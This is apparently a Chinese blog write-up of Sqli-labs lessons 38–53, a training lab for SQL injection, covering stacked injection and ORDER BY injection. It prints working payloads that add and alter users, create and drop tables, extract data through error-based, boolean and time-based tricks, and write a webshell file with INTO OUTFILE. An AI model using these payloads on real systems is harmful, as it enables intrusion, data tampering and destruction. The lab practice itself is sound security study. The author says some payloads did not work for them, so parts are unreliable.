Sqli-labs-master 注入训练(page-3)
Sqli-labs注入训练(page-3)
Less-38:Less-39:Less-40:Less-41:
这几关都是堆叠注入的应用,堆叠注入,顾名思义,就是使用分号将注入语句分开,多次注入,创建新的用户,或者删除用户,创造无限可能。但是需要知道一些数据。
他也有很多的局限性,比如权限不够,或者收到api或数据库引擎的限制。oracle数据库不支持堆叠注入。
构造payload
添加用户 ?id=1';insert into users(id,username,password) values ('30','skk','skkhj')--+ 后面的值一定要用引号引起来。
更新用户?id=1;update users set password='zjwdqc' where id=30--+
Less-42:Less-43:Less-44:Less-45:
查看页面源代码,发现是在username 做了过滤,可以在username中构造语句
username=admin passowrd=c';create table hhhh like users#发现在当前数据库中有一个新的表hhhh
删除表 password=c');drop table hhhh#发现之前创建的表被删除了。
Less-46:
从本章开始我们学习的是order by 的相关注入。
在order by 后面输入?sort=1 会根据字段1来排序,后面跟上desc 会变成升序,asc是降序。我们构造payload的方法由这么几种:
-
直接添加注入语句,?sort=(select ****) 后面直接加上要注入的语句
-
可以利用一些函数 sort=rand(sql语句) rand(true) 和rand(false)是不一样的
-
可以利用报错注入和延时注入。
sort=(select count(*) from information_schema.tables group by concat(0x3a,0x3a,(select database()),floor(rand()*2)))--+不知道为什么后面一定要加上floor(rand()*2)才会显示。。。。?sort=rand(ascii(substr(database(),1,1))=118)--+另一种 -
延时注入 可以利用sort=1 and 注入语句
-
procedure analyse 参数爆错注入
sort=1 procedure analyse(extractvalue(1,concat(0x3a,database(),0x3a)))--+不知道为什么我不行 -
导入导出文件 into otfile参数
sort=1 into outfile "D:\\phpstudy_pro\\WWW\\test1.txt"lines terminated by 0x6768683c3e利用lines perminated by 创建大马
Less-47:
利用上面的手段都可以得到结果。
Less-48:Less-49:
这一关和46关的不一样的地方就是不能报错注入,没有错误回显,所以我们可以用sort(true/false)来判断,还可以使用延时注入。
Less-50:Less-51:Less-52:Less-53:
这一关开始是order by stacked injection 注入。
执行sql 语句这里用的是mysqli-mulyi-query() 和之前的mysqli_query()不一样的地方是可以执行多条sql语句。这就和之前的一样了。
就这样我们来到了page-4!
page-4是将上面的全部结合起来考核的,这个我就不写了,方法在上面已经介绍的差不多了。咋们有缘再见!!!

浙公网安备 33010602011771号